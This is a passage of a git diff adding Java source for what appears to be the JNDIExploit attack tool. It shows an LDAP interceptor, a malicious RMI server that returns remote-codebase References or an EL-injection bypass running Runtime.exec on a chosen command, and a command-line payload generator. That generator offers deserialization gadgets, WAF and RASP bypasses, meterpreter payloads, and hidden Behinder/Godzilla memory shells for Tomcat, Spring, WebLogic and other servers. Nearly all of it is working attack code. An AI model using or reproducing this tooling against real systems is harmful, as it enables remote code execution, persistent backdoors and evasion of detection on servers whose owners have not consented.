> controllers = new Reflections(this.getClass().getPackage().getName())
+ .getTypesAnnotatedWith(LdapMapping.class);
+
+ //instantiate them and store in the routes map
+ for (Class> controller : controllers) {
+ Constructor> cons = controller.getConstructor();
+ LdapController instance = (LdapController) cons.newInstance();
+ String[] mappings = controller.getAnnotation(LdapMapping.class).uri();
+ for (String mapping : mappings) {
+ if (mapping.startsWith("/")) {
+ mapping = mapping.substring(1); //remove first forward slash
+ routes.put(mapping, instance);
+ }
+ }
+ }
+ }
+
+ /**
+ * {@inheritDoc}
+ *
+ * @see com.unboundid.ldap.listener.interceptor.InMemoryOperationInterceptor#processSearchResult(com.unboundid.ldap.listener.interceptor.InMemoryInterceptedSearchResult)
+ * 关键在这个类里进行了处理
+ * 官方说明:在提供的搜索结果返回给客户端之前,调用应该对其执行的任何处理。
+ */
+ @Override
+ public void processSearchResult(InMemoryInterceptedSearchResult result) {
+ String base;
+ if (!ROUTE.equals("")) {
+ base = ROUTE;
+ } else {
+ base = result.getRequest().getBaseDN();
+ }
+ try {
+ if (!AESkey.equals("123")) {
+ base = base64Decode(base);
+ base = AESUtils.decrypt(base, AESkey);
+ }
+ } catch (Exception AESerr) {
+
+ }
+
+ //收到ldap请求
+ System.out.println("\n");
+ System.out.println(ansi().render("@|green [+]|@ Received LDAP Query >> " + base));
+ LdapController controller = null;
+ //find controller
+ //根据请求的路径从route中匹配相应的controller
+ for (String key : routes.keySet()) {
+ //compare using wildcard at the end
+ if (base.toLowerCase().startsWith(key)) {
+ controller = routes.get(key);
+ break;
+ }
+ }
+
+
+ if (controller == null) {
+ System.out.println(ansi().render("@|red [!] Invalid LDAP Query >> |@" + base));
+ return;
+ }
+
+ try {
+ //从控制器中进行返回
+ controller.process(base);
+ controller.sendResult(result, base);
+ } catch (Exception e1) {
+ System.out.println(ansi().render("@|red [!] Exception >> |@" + e1.getMessage()));
+ }
+ }
+}
\ No newline at end of file
diff --git a/src/main/java/com/qi4l/jndi/RMIServer.java b/src/main/java/com/qi4l/jndi/RMIServer.java
new file mode 100644
index 00000000..33bc38c6
--- /dev/null
+++ b/src/main/java/com/qi4l/jndi/RMIServer.java
@@ -0,0 +1,326 @@
+package com.qi4l.jndi;
+
+
+import com.qi4l.jndi.gadgets.Config.Config;
+import com.qi4l.jndi.gadgets.utils.Reflections;
+import com.sun.jndi.rmi.registry.ReferenceWrapper;
+import com.unboundid.ldap.listener.interceptor.InMemoryOperationInterceptor;
+import org.apache.naming.ResourceRef;
+import sun.rmi.server.UnicastServerRef;
+import sun.rmi.transport.TransportConstants;
+
+import javax.naming.Reference;
+import javax.naming.StringRefAddr;
+import javax.net.ServerSocketFactory;
+import java.io.*;
+import java.lang.reflect.Field;
+import java.net.*;
+import java.rmi.MarshalException;
+import java.rmi.server.ObjID;
+import java.rmi.server.RemoteObject;
+import java.rmi.server.UID;
+import java.util.Arrays;
+
+import static org.fusesource.jansi.Ansi.ansi;
+
+
+/**
+ * Generic JRMP listener
+ *
+ * JRMP Listener that will respond to RMI lookups with a Reference that specifies a remote object factory.
+ *
+ * This technique was mitigated against by no longer allowing remote codebases in references by default in Java 8u121.
+ *
+ * @author mbechler
+ */
+@SuppressWarnings({
+ "restriction"
+})
+public class RMIServer extends InMemoryOperationInterceptor implements Runnable {
+
+ private final ServerSocket ss;
+ private final Object waitLock = new Object();
+ private boolean exit;
+ private final URL classpathUrl;
+
+
+ public RMIServer(int port, URL classpathUrl) throws IOException {
+ this.classpathUrl = classpathUrl;
+ this.ss = ServerSocketFactory.getDefault().createServerSocket(port);
+ }
+
+
+ /**
+ *
+ */
+ public void close() {
+ this.exit = true;
+ try {
+ this.ss.close();
+ } catch (IOException ignored) {
+ }
+ synchronized (this.waitLock) {
+ this.waitLock.notify();
+ }
+ }
+
+
+ public static void start() {
+ String url = "http://" + Config.ip + ":" + Config.rmiPort;
+
+ try {
+ System.out.println(ansi().render("@|green [+]|@ RMI Server Start Listening on >>" + Config.rmiPort + "..."));
+ RMIServer c = new RMIServer(Config.rmiPort, new URL(url));
+ c.run();
+ } catch (Exception e) {
+ System.err.println("Listener error");
+ e.printStackTrace(System.err);
+ }
+ }
+
+
+ @Override
+ public void run() {
+ try {
+ Socket s = null;
+ try {
+ while (!this.exit && (s = this.ss.accept()) != null) {
+ try {
+ s.setSoTimeout(5000);
+ InetSocketAddress remote = (InetSocketAddress) s.getRemoteSocketAddress();
+ System.err.println("[+] Have connection from " + remote);
+
+ InputStream is = s.getInputStream();
+ InputStream bufIn = is.markSupported() ? is : new BufferedInputStream(is);
+
+ // Read magic (or HTTP wrapper)
+ bufIn.mark(4);
+ try (DataInputStream in = new DataInputStream(bufIn)) {
+ int magic = in.readInt();
+
+ short version = in.readShort();
+ if (magic != TransportConstants.Magic || version != TransportConstants.Version) {
+ s.close();
+ continue;
+ }
+
+ OutputStream sockOut = s.getOutputStream();
+ BufferedOutputStream bufOut = new BufferedOutputStream(sockOut);
+ try (DataOutputStream out = new DataOutputStream(bufOut)) {
+
+ byte protocol = in.readByte();
+ switch (protocol) {
+ case TransportConstants.StreamProtocol:
+ out.writeByte(TransportConstants.ProtocolAck);
+ if (remote.getHostName() != null) {
+ out.writeUTF(remote.getHostName());
+ } else {
+ out.writeUTF(remote.getAddress().toString());
+ }
+ out.writeInt(remote.getPort());
+ out.flush();
+ in.readUTF();
+ in.readInt();
+ case TransportConstants.SingleOpProtocol:
+ doMessage(s, in, out);
+ break;
+ default:
+ case TransportConstants.MultiplexProtocol:
+ System.err.println("Unsupported protocol");
+ s.close();
+ continue;
+ }
+
+ bufOut.flush();
+ out.flush();
+ }
+ }
+ } catch (InterruptedException e) {
+ return;
+ } catch (Exception e) {
+ e.printStackTrace(System.err);
+ } finally {
+ System.err.println("Closing connection");
+ s.close();
+ }
+
+ }
+
+ } finally {
+ if (s != null) {
+ s.close();
+ }
+ if (this.ss != null) {
+ this.ss.close();
+ }
+ }
+
+ } catch (SocketException ignored) {
+ } catch (Exception e) {
+ e.printStackTrace(System.err);
+ }
+ }
+
+ private void doMessage(Socket s, DataInputStream in, DataOutputStream out) throws Exception {
+ System.err.println(" RMI 服务器 >> 正在读取信息");
+
+ int op = in.read();
+
+ switch (op) {
+ case TransportConstants.Call:
+ // service incoming RMI call
+ doCall(in, out);
+ break;
+
+ case TransportConstants.Ping:
+ // send ack for ping
+ out.writeByte(TransportConstants.PingAck);
+ break;
+
+ case TransportConstants.DGCAck:
+ UID.read(in);
+ break;
+
+ default:
+ throw new IOException(" RMI 服务器 >> 无法识别:" + op);
+ }
+
+ s.close();
+ }
+
+ private void doCall(DataInputStream in, DataOutputStream out) throws Exception {
+ ObjectInputStream ois = new ObjectInputStream(in) {
+
+ @Override
+ protected Class> resolveClass(ObjectStreamClass desc) throws IOException {
+ if ("[Ljava.rmi.server.ObjID;".equals(desc.getName())) {
+ return ObjID[].class;
+ } else if ("java.rmi.server.ObjID".equals(desc.getName())) {
+ return ObjID.class;
+ } else if ("java.rmi.server.UID".equals(desc.getName())) {
+ return UID.class;
+ } else if ("java.lang.String".equals(desc.getName())) {
+ return String.class;
+ }
+ throw new IOException(" RMI 服务器 >> 无法读取 Object");
+ }
+ };
+
+ ObjID read;
+ try {
+ read = ObjID.read(ois);
+ } catch (java.io.IOException e) {
+ throw new MarshalException(" RMI 服务器 >> 无法读取 ObjID", e);
+ }
+
+ if (read.hashCode() == 2) {
+ // DGC
+ handleDGC(ois);
+ } else if (read.hashCode() == 0) {
+ if (handleRMI(ois, out)) {
+ synchronized (this.waitLock) {
+ this.waitLock.notifyAll();
+ }
+ }
+ }
+
+ }
+
+ private boolean handleRMI(ObjectInputStream ois, DataOutputStream out) throws Exception {
+ int method = ois.readInt(); // method
+ ois.readLong(); // hash
+
+ if (method != 2) { // lookup
+ return false;
+ }
+
+ String object = (String) ois.readObject();
+ System.out.println(ansi().render("@|green [+]|@RMI 服务器 >> RMI 查询" + object + " " + method));
+ out.writeByte(TransportConstants.Return); // transport op
+ try (ObjectOutputStream oos = new MarshalOutputStream(out, this.classpathUrl)) {
+
+ oos.writeByte(TransportConstants.NormalReturn);
+ new UID().write(oos);
+
+ //反射调用的类名
+ ReferenceWrapper rw = Reflections.createWithoutConstructor(ReferenceWrapper.class);
+
+ if (object.startsWith("Bypass")) {
+ System.out.println(ansi().render("@|green [+]|@RMI 服务器 >> 发送本地类加载引用"));
+ Reflections.setFieldValue(rw, "wrappee", execByEL());
+ } else {
+ System.out.println(ansi().render("@|green [+]|@RMI 服务器 >> 向目标发送 stub >> %s", new URL(this.classpathUrl, this.classpathUrl.getRef().replace('.', '/').concat(".class"))));
+ Reflections.setFieldValue(rw, "wrappee", new Reference("Foo", this.classpathUrl.getRef(), this.classpathUrl.toString()));
+ }
+
+ Field refF = RemoteObject.class.getDeclaredField("ref");
+ refF.setAccessible(true);
+ refF.set(rw, new UnicastServerRef(12345));
+
+ oos.writeObject(rw);
+
+ oos.flush();
+ out.flush();
+ }
+ return true;
+ }
+
+ public static ResourceRef execByEL() {
+
+ ResourceRef ref = new ResourceRef("javax.el.ELProcessor", null, "", "", true, "org.apache.naming.factory.BeanFactory", null);
+ ref.add(new StringRefAddr("forceString", "x=eval"));
+ ref.add(new StringRefAddr("x", String.format(
+ "\"\".getClass().forName(\"javax.script.ScriptEngineManager\").newInstance().getEngineByName(\"JavaScript\").eval(" +
+ "\"java.lang.Runtime.getRuntime().exec('%s')\"" +
+ ")",
+ Config.command
+ )));
+
+ return ref;
+ }
+
+ private static void handleDGC(ObjectInputStream ois) throws IOException, ClassNotFoundException {
+ ois.readInt(); // method
+ ois.readLong(); // hash
+ System.err.println("Is DGC call for " + Arrays.toString((ObjID[]) ois.readObject()));
+ }
+
+
+ static final class MarshalOutputStream extends ObjectOutputStream {
+
+ private final URL sendUrl;
+
+
+ public MarshalOutputStream(OutputStream out, URL u) throws IOException {
+ super(out);
+ this.sendUrl = u;
+ }
+
+
+ @Override
+ protected void annotateClass(Class> cl) throws IOException {
+ if (this.sendUrl != null) {
+ writeObject(this.sendUrl.toString());
+ } else if (!(cl.getClassLoader() instanceof URLClassLoader)) {
+ writeObject(null);
+ } else {
+ URL[] us = ((URLClassLoader) cl.getClassLoader()).getURLs();
+ StringBuilder cb = new StringBuilder();
+
+ for (URL u : us) {
+ cb.append(u.toString());
+ }
+ writeObject(cb.toString());
+ }
+ }
+
+
+ /**
+ * Serializes a location from which to load the specified class.
+ */
+ @Override
+ protected void annotateProxyClass(Class> cl) throws IOException {
+ annotateClass(cl);
+ }
+ }
+}
diff --git a/src/main/java/com/qi4l/jndi/Starter.java b/src/main/java/com/qi4l/jndi/Starter.java
new file mode 100644
index 00000000..3d3a8028
--- /dev/null
+++ b/src/main/java/com/qi4l/jndi/Starter.java
@@ -0,0 +1,238 @@
+package com.qi4l.jndi;
+
+import com.qi4l.jndi.enumtypes.PayloadType;
+import com.qi4l.jndi.gadgets.Config.Config;
+import com.qi4l.jndi.gadgets.ObjectPayload;
+import com.qi4l.jndi.gadgets.annotation.Authors;
+import com.qi4l.jndi.gadgets.annotation.Dependencies;
+import com.qi4l.jndi.gadgets.utils.Serializer;
+import com.qi4l.jndi.gadgets.utils.Strings;
+import com.qi4l.jndi.gadgets.utils.dirty.DirtyDataWrapper;
+import org.apache.commons.cli.*;
+
+
+import java.io.FileOutputStream;
+import java.io.OutputStream;
+import java.util.*;
+
+import static com.qi4l.jndi.gadgets.utils.HexUtils.generatePassword;
+import static com.qi4l.jndi.gadgets.utils.Strings.isFromExploit;
+
+public class Starter {
+
+ public static CommandLine cmdLine;
+
+ public static String JYsoMode = "qi4L";
+
+ public static Object PAYLOAD = null;
+
+ public static void main(String[] args) throws Exception {
+ if (args.length > 0 && args[0].equals("--jndi")) {
+ Config.applyCmdArgs(args);
+ LdapServer.start();
+ HTTPServer.start();
+ RMIServer.start();
+ }
+ if (args.length > 0 && args[0].equals("-yso")) {
+ JYsoMode = "yso";
+ Options options = new Options();
+ options.addOption("yso", "ysoserial", true, "Java deserialization");
+ options.addOption("g", "gadget", true, "Java deserialization gadget");
+ options.addOption("p", "parameters", true, "Gadget parameters");
+ options.addOption("dt", "dirty-type", true, "Using dirty data to bypass WAF,type: 1:Random Hashable Collections/2:LinkedList Nesting/3:TC_RESET in Serialized Data");
+ options.addOption("dl", "dirty-length", true, "Length of dirty data when using type 1 or 3/Counts of Nesting loops when using type 2");
+ options.addOption("f", "file", true, "Write Output into FileOutputStream (Specified FileName)");
+ options.addOption("o", "obscure", false, "Using reflection to bypass RASP");
+ options.addOption("i", "inherit", false, "Make payload inherit AbstractTranslet or not (Lower JDK like 1.6 should inherit)");
+ options.addOption("u", "url", true, "MemoryShell binding url pattern,default [/version.txt]");
+ options.addOption("pw", "password", true, "Behinder or Godzilla password,default [p@ssw0rd]");
+ options.addOption("gzk", "godzilla-key", true, "Godzilla key,default [key]");
+ options.addOption("hk", "header-key", true, "MemoryShell Header Check,Request Header Key,default [Referer]");
+ options.addOption("hv", "header-value", true, "MemoryShell Header Check,Request Header Value,default [https://nu1r.cn/]");
+ options.addOption("ch", "cmd-header", true, "Request Header which pass the command to Execute,default [X-Token-Data]");
+ options.addOption("gen", "gen-mem-shell", false, "Write Memory Shell Class to File");
+ options.addOption("n", "gen-mem-shell-name", true, "Memory Shell Class File Name");
+ options.addOption("h", "hide-mem-shell", false, "Hide memory shell from detection tools (type 2 only support SpringControllerMS)");
+ options.addOption("ht", "hide-type", true, "Hide memory shell,type 1:write /jre/lib/charsets.jar 2:write /jre/classes/");
+ options.addOption("rh", "rhino", false, "ScriptEngineManager Using Rhino Engine to eval JS");
+ options.addOption("ncs", "no-com-sun", false, "Force Using org.apache.XXX.TemplatesImpl instead of com.sun.org.apache.XXX.TemplatesImpl");
+ options.addOption("mcl", "mozilla-class-loader", false, "Using org.mozilla.javascript.DefiningClassLoader in TransformerUtil");
+ options.addOption("dcfp", "define-class-from-parameter", true, "Customize parameter name when using DefineClassFromParameter");
+
+ CommandLineParser parser = new DefaultParser();
+
+ if (args.length == 0) {
+ printUsage(options);
+ System.exit(1);
+ }
+
+ try {
+ cmdLine = parser.parse(options, args);
+ } catch (Exception e) {
+ System.out.println("[*] Parameter input error, please use -h for more information");
+ printUsage(options);
+ System.exit(1);
+ }
+
+ if (cmdLine.hasOption("inherit")) {
+ Config.IS_INHERIT_ABSTRACT_TRANSLET = true;
+ }
+
+ if (cmdLine.hasOption("obscure")) {
+ Config.IS_OBSCURE = true;
+ }
+
+ if (cmdLine.hasOption("cmd-header")) {
+ Config.CMD_HEADER_STRING = cmdLine.getOptionValue("cmd-header");
+ }
+
+ if (cmdLine.hasOption("url")) {
+ String url = cmdLine.getOptionValue("url");
+ if (!url.startsWith("/")) {
+ url = "/" + url;
+ }
+ Config.URL_PATTERN = url;
+ }
+
+ if (cmdLine.hasOption("define-class-from-parameter")) {
+ Config.PARAMETER = cmdLine.getOptionValue("define-class-from-parameter");
+ }
+
+ if (cmdLine.hasOption("file")) {
+ Config.WRITE_FILE = true;
+ Config.FILE = cmdLine.getOptionValue("file");
+ }
+
+ if (cmdLine.hasOption("password")) {
+ Config.PASSWORD_ORI = cmdLine.getOptionValue("password");
+ Config.PASSWORD = generatePassword(Config.PASSWORD_ORI);
+ }
+
+ if (cmdLine.hasOption("godzilla-key")) {
+ Config.GODZILLA_KEY = generatePassword(cmdLine.getOptionValue("godzilla-key"));
+ }
+
+ if (cmdLine.hasOption("header-key")) {
+ Config.HEADER_KEY = cmdLine.getOptionValue("header-key");
+ }
+
+ if (cmdLine.hasOption("header-value")) {
+ Config.HEADER_VALUE = cmdLine.getOptionValue("header-value");
+ }
+
+ if (cmdLine.hasOption("no-com-sun")) {
+ Config.FORCE_USING_ORG_APACHE_TEMPLATESIMPL = true;
+ }
+
+ if (cmdLine.hasOption("mozilla-class-loader")) {
+ Config.USING_MOZILLA_DEFININGCLASSLOADER = true;
+ }
+
+ if (cmdLine.hasOption("rhino")) {
+ Config.USING_RHINO = true;
+ }
+
+ if (cmdLine.hasOption("gen-mem-shell")) {
+ Config.GEN_MEM_SHELL = true;
+
+ if (cmdLine.hasOption("gen-mem-shell-name")) {
+ Config.GEN_MEM_SHELL_FILENAME = cmdLine.getOptionValue("gen-mem-shell-name");
+ }
+ }
+
+ if (cmdLine.hasOption("hide-mem-shell")) {
+ Config.HIDE_MEMORY_SHELL = true;
+
+ if (cmdLine.hasOption("hide-type")) {
+ Config.HIDE_MEMORY_SHELL_TYPE = Integer.parseInt(cmdLine.getOptionValue("hide-type"));
+ }
+ }
+
+ final String payloadType = cmdLine.getOptionValue("gadget");
+ final String command = cmdLine.getOptionValue("parameters");
+
+ final Class extends ObjectPayload> payloadClass = ObjectPayload.Utils.getPayloadClass(payloadType);
+ if (payloadClass == null) {
+ System.err.println("Invalid payload type '" + payloadType + "'");
+ printUsage(options);
+ System.exit(1);
+ return;
+ }
+
+
+ try {
+ ObjectPayload payload = payloadClass.newInstance();
+ Object object = payload.getObject(PayloadType.command, command);
+
+ // 是否指定混淆
+ if (cmdLine.hasOption("dirty-type") && cmdLine.hasOption("dirty-length")) {
+ int type = Integer.parseInt(cmdLine.getOptionValue("dirty-type"));
+ int length = Integer.parseInt(cmdLine.getOptionValue("dirty-length"));
+ object = new DirtyDataWrapper(object, type, length).doWrap();
+ }
+
+ // 储存生成的 payload
+ PAYLOAD = object;
+ if (isFromExploit()) {
+ return;
+ }
+
+ OutputStream out;
+
+ if (Config.WRITE_FILE) {
+ out = new FileOutputStream(Config.FILE);
+ } else {
+ out = System.out;
+ }
+ Serializer.qiserialize(object, out);
+ ObjectPayload.Utils.releasePayload(payload, object);
+
+ out.flush();
+ out.close();
+ } catch (Throwable e) {
+ System.err.println("Error while generating or serializing payload");
+ e.printStackTrace();
+ System.exit(1);
+ }
+ System.exit(0);
+ }
+ }
+
+ private static void printUsage(Options options) {
+
+ System.err.println("[root]#~ Usage: java -jar JNDIExploit-[version].jar -yso -g [payload] -p [command] [options]");
+ System.err.println("[root]#~ Available payload types:");
+
+ final List> payloadClasses =
+ new ArrayList>(ObjectPayload.Utils.getPayloadClasses());
+ Collections.sort(payloadClasses, new Strings.ToStringComparator()); // alphabetize
+
+ final List rows = new LinkedList();
+ rows.add(new String[]{"Payload", "Authors", "Dependencies"});
+ rows.add(new String[]{"-------", "-------", "------------"});
+ for (Class extends ObjectPayload> payloadClass : payloadClasses) {
+ rows.add(new String[]{
+ payloadClass.getSimpleName(),
+ Strings.join(Arrays.asList(Authors.Utils.getAuthors(payloadClass)), ", ", "@", ""),
+ Strings.join(Arrays.asList(Dependencies.Utils.getDependenciesSimple(payloadClass)), ", ", "", "")
+ });
+ }
+
+ final List lines = Strings.formatTable(rows);
+
+ for (String line : lines) {
+ System.err.println(" " + line);
+ }
+
+ System.err.println("\r\n");
+ HelpFormatter helpFormatter = new HelpFormatter();
+ helpFormatter.setWidth(Math.min(200, jline.Terminal.getTerminal().getTerminalWidth()));
+ helpFormatter.printHelp("JNDIExploit-[version].jar", options, true);
+
+ System.err.println("\r\n");
+ System.err.println("Recommended Usage: -yso -g [payload] -p '[command]' -dt 1 -dl 50000 -o -i -f evil.ser");
+ System.err.println("If you want your payload being extremely short,you could just use:");
+ System.err.println("java -jar JNDIExploit-[version].jar -yso -g [payload] -p '[command]' -i -f evil.ser");
+ System.exit(0);
+ }
+}
diff --git a/src/main/java/com/qi4l/jndi/controllers/BasicController.java b/src/main/java/com/qi4l/jndi/controllers/BasicController.java
new file mode 100644
index 00000000..4ed06773
--- /dev/null
+++ b/src/main/java/com/qi4l/jndi/controllers/BasicController.java
@@ -0,0 +1,478 @@
+package com.qi4l.jndi.controllers;
+
+import com.qi4l.jndi.enumtypes.GadgetType;
+import com.qi4l.jndi.enumtypes.PayloadType;
+import com.qi4l.jndi.exceptions.IncorrectParamsException;
+import com.qi4l.jndi.exceptions.UnSupportedPayloadTypeException;
+import com.qi4l.jndi.gadgets.Config.Config;
+import com.qi4l.jndi.gadgets.utils.InjShell;
+import com.qi4l.jndi.gadgets.utils.Util;
+import com.qi4l.jndi.template.*;
+import com.qi4l.jndi.template.memshell.BypassNginxCDN.cmsMSBYNC;
+import com.qi4l.jndi.template.memshell.BypassNginxCDN.proxyMSBYNC;
+import com.qi4l.jndi.template.memshell.Tomcat_Spring_Jetty.MsTSJproxy;
+import com.qi4l.jndi.template.memshell.Tomcat_Spring_Jetty.MsTSJser;
+import com.qi4l.jndi.template.memshell.Websphere.WSFMSFromThread;
+import com.qi4l.jndi.template.memshell.Websphere.WSWebsphereProxy;
+import com.qi4l.jndi.template.memshell.Websphere.WebsphereMemshellTemplate;
+import com.qi4l.jndi.template.memshell.Websphere.websphereEcho;
+import com.qi4l.jndi.template.echo.*;
+import com.qi4l.jndi.template.memshell.jboss.JBFMSFromContextF;
+import com.qi4l.jndi.template.memshell.jboss.JBSMSFromContextS;
+import com.qi4l.jndi.template.echo.JbossEcho;
+import com.qi4l.jndi.template.memshell.jetty.JFMSFromJMXF;
+import com.qi4l.jndi.template.memshell.jetty.JSMSFromJMXS;
+import com.qi4l.jndi.template.echo.jettyEcho;
+import com.qi4l.jndi.template.memshell.resin.RFMSFromThreadF;
+import com.qi4l.jndi.template.memshell.resin.RSMSFromThreadS;
+import com.qi4l.jndi.template.echo.resinEcho;
+import com.qi4l.jndi.template.memshell.resin.WsResin;
+import com.qi4l.jndi.template.memshell.spring.SpringControllerMS;
+import com.qi4l.jndi.template.memshell.spring.SpringInterceptorMS;
+import com.qi4l.jndi.template.memshell.struts2.Struts2ActionMS;
+import com.qi4l.jndi.template.echo.weblogicEcho;
+import com.qi4l.jndi.gadgets.utils.ClassNameUtils;
+import com.qi4l.jndi.gadgets.utils.HexUtils;
+import com.qi4l.jndi.template.memshell.tomcat.*;
+import com.qi4l.jndi.template.memshell.weblogic.WsWeblogic;
+import com.unboundid.ldap.listener.interceptor.InMemoryInterceptedSearchResult;
+import com.unboundid.ldap.sdk.Entry;
+import com.unboundid.ldap.sdk.LDAPResult;
+import com.unboundid.ldap.sdk.ResultCode;
+import org.apache.commons.cli.*;
+import javassist.ClassClassPath;
+import javassist.ClassPool;
+import javassist.CtClass;
+import org.apache.commons.codec.binary.Base64;
+
+import java.net.URL;
+
+import static com.qi4l.jndi.gadgets.utils.InjShell.*;
+import static org.fusesource.jansi.Ansi.ansi;
+
+/**
+ * 本地工厂类加载路由
+ */
+@LdapMapping(uri = {"/basic"})
+public class BasicController implements LdapController {
+ //最后的反斜杠不能少
+ private final String codebase = Config.codeBase;
+ private static PayloadType payloadType;
+ private String[] params;
+ private GadgetType gadgetType;
+ public static CommandLine cmdLine;
+
+ /**
+ * 发送LDAP资源引用结果和基本远程参考负载。
+ *
+ * @param result InMemoryInterceptedSearchResult类型,拦截的查询结果。
+ * @param base String类型,基本的LDAP路径。
+ * @throws Exception
+ */
+ @Override
+ public void sendResult(InMemoryInterceptedSearchResult result, String base) throws Exception {
+ try {
+ System.out.println(ansi().render("@|green [+]|@ Sending LDAP ResourceRef result for" + base + " with basic remote reference payload"));
+ Entry e = new Entry(base);
+ String className = "";
+ CtClass ctClass;
+ ClassPool pool;
+
+ // 根据不同的负载类型,设置className并处理
+ switch (payloadType) {
+ case command:
+ CommandTemplate commandTemplate = new CommandTemplate(params[0]);
+ commandTemplate.cache();
+ className = commandTemplate.getClassName();
+ break;
+ case meterpreter:
+ className = Meterpreter.class.getName();
+ break;
+ case tomcatecho:
+ className = TomcatEcho.class.getName();
+ break;
+ case springecho:
+ className = SpringEcho.class.getName();
+ break;
+ case weblogicecho:
+ className = weblogicEcho.class.getName();
+ break;
+ case websphereecho:
+ className = websphereEcho.class.getName();
+ break;
+ case resinecho:
+ className = resinEcho.class.getName();
+ break;
+ case jbossecho:
+ className = JbossEcho.class.getName();
+ break;
+ case windowsecho:
+ className = WindowsEcho.class.getName();
+ break;
+ case linuxecho1:
+ className = LinuxEcho1.class.getName();
+ break;
+ case linuxecho2:
+ className = LinuxEcho2.class.getName();
+ break;
+ case jettyecho:
+ className = jettyEcho.class.getName();
+ break;
+ case allecho:
+ className = AllEcho.class.getName();
+ break;
+ case cmsmsbync:
+ className = cmsMSBYNC.class.getName();
+ break;
+ case proxymsbync:
+ className = proxyMSBYNC.class.getName();
+ break;
+ case wsresin:
+ className = WsResin.class.getName();
+ break;
+ case mstsjser:
+ className = MsTSJser.class.getName();
+ break;
+ case mstsjproxy:
+ className = MsTSJproxy.class.getName();
+ break;
+ case wsweblogic:
+ className = WsWeblogic.class.getName();
+ break;
+ case wswebsphereproxy:
+ className = WSWebsphereProxy.class.getName();
+ break;
+ case tomcatfilterjmx:
+ className = structureShell(TSMSFromJMXF.class);
+ break;
+ case tomcatfilterth:
+ className = structureShell(TFMSFromThreadF.class);
+ break;
+ case tomcatlistenerjmx:
+ className = structureShell(TLMSFromJMXLi.class);
+ break;
+ case tomcatlistenerth:
+ className = structureShell(TFMSFromThreadLi.class);
+ break;
+ case tomcatservletjmx:
+ className = structureShell(TSMSFromJMXS.class);
+ break;
+ case tomcatservletth:
+ className = structureShell(TFMSFromThreadS.class);
+ break;
+ case jbossfilter:
+ className = structureShell(JBFMSFromContextF.class);
+ break;
+ case jbossservlet:
+ className = structureShell(JBSMSFromContextS.class);
+ break;
+ case webspherememshell:
+ className = WebsphereMemshellTemplate.class.getName();
+ break;
+ case springinterceptor:
+ className = structureShell(SpringInterceptorMS.class);
+ break;
+ case springcontroller:
+ className = structureShell(SpringControllerMS.class);
+ break;
+ case issuccess:
+ className = isSuccess.class.getName();
+ break;
+ case jettyfilter:
+ className = structureShell(JFMSFromJMXF.class);
+ break;
+ case jettyservlet:
+ className = structureShell(JSMSFromJMXS.class);
+ break;
+ case struts2actionms:
+ className = structureShell(Struts2ActionMS.class);
+ break;
+ case wsfilter:
+ Config.init();
+ pool = ClassPool.getDefault();
+ pool.insertClassPath(new ClassClassPath(WSFMSFromThread.class));
+ ctClass = pool.get(WSFMSFromThread.class.getName());
+ InjShell.class.getMethod("insertKeyMethod", CtClass.class, String.class).invoke(InjShell.class.newInstance(), ctClass, "ws");
+ ctClass.setName(ClassNameUtils.generateClassName());
+ if (Config.winAgent) {
+ className = insertWinAgent(ctClass);
+ ctClass.writeFile();
+ break;
+ }
+ if (Config.linAgent) {
+ className = insertLinAgent(ctClass);
+ ctClass.writeFile();
+ break;
+ }
+ if (Config.HIDE_MEMORY_SHELL) {
+ switch (Config.HIDE_MEMORY_SHELL_TYPE) {
+ case 1:
+ break;
+ case 2:
+ CtClass newClass = pool.get("com.qi4l.jndi.template.HideMemShellTemplate");
+ newClass.setName(ClassNameUtils.generateClassName());
+ String content = "b64=\"" + Base64.encodeBase64String(ctClass.toBytecode()) + "\";";
+ className = "className=\"" + ctClass.getName() + "\";";
+ newClass.defrost();
+ newClass.makeClassInitializer().insertBefore(content);
+ newClass.makeClassInitializer().insertBefore(className);
+
+ if (Config.IS_INHERIT_ABSTRACT_TRANSLET) {
+ Class abstTranslet = Class.forName("org.apache.xalan.xsltc.runtime.AbstractTranslet");
+ CtClass superClass = pool.get(abstTranslet.getName());
+ newClass.setSuperclass(superClass);
+ }
+
+ className = newClass.getName();
+ newClass.writeFile();
+ break;
+ }
+ }
+ className = ctClass.getName();
+ ctClass.writeFile();
+ break;
+ case tomcatexecutor:
+ Config.init();
+ pool = ClassPool.getDefault();
+ pool.insertClassPath(new ClassClassPath(TWSMSFromThread.class));
+ ctClass = pool.get(TWSMSFromThread.class.getName());
+ InjShell.class.getMethod("insertKeyMethod", CtClass.class, String.class).invoke(InjShell.class.newInstance(), ctClass, "execute");
+ ctClass.setName(ClassNameUtils.generateClassName());
+ if (Config.winAgent) {
+ className = insertWinAgent(ctClass);
+ ctClass.writeFile();
+ break;
+ }
+ if (Config.linAgent) {
+ className = insertLinAgent(ctClass);
+ ctClass.writeFile();
+ break;
+ }
+ if (Config.HIDE_MEMORY_SHELL) {
+ switch (Config.HIDE_MEMORY_SHELL_TYPE) {
+ case 1:
+ break;
+ case 2:
+ CtClass newClass = pool.get("com.qi4l.jndi.template.HideMemShellTemplate");
+ newClass.setName(ClassNameUtils.generateClassName());
+ String content = "b64=\"" + Base64.encodeBase64String(ctClass.toBytecode()) + "\";";
+ className = "className=\"" + ctClass.getName() + "\";";
+ newClass.defrost();
+ newClass.makeClassInitializer().insertBefore(content);
+ newClass.makeClassInitializer().insertBefore(className);
+
+ if (Config.IS_INHERIT_ABSTRACT_TRANSLET) {
+ Class abstTranslet = Class.forName("org.apache.xalan.xsltc.runtime.AbstractTranslet");
+ CtClass superClass = pool.get(abstTranslet.getName());
+ newClass.setSuperclass(superClass);
+ }
+
+ className = newClass.getName();
+ newClass.writeFile();
+ break;
+ }
+ }
+ if (Config.IS_INHERIT_ABSTRACT_TRANSLET) {
+ Class abstTranslet = Class.forName("org.apache.xalan.xsltc.runtime.AbstractTranslet");
+ CtClass superClass = pool.get(abstTranslet.getName());
+ ctClass.setSuperclass(superClass);
+ }
+ className = ctClass.getName();
+ ctClass.writeFile();
+ break;
+ case resinfilterth:
+ className = structureShell(RFMSFromThreadF.class);
+ break;
+ case resinservletth:
+ className = structureShell(RSMSFromThreadS.class);
+ break;
+ case tomcatupgrade:
+ Config.init();
+ pool = ClassPool.getDefault();
+ pool.insertClassPath(new ClassClassPath(TUGMSFromJMXuP.class));
+ ctClass = pool.get(TUGMSFromJMXuP.class.getName());
+ InjShell.class.getMethod("insertKeyMethod", CtClass.class, String.class).invoke(InjShell.class.newInstance(), ctClass, "upgrade");
+ ctClass.setName(ClassNameUtils.generateClassName());
+ if (Config.winAgent) {
+ className = insertWinAgent(ctClass);
+ ctClass.writeFile();
+ break;
+ }
+ if (Config.linAgent) {
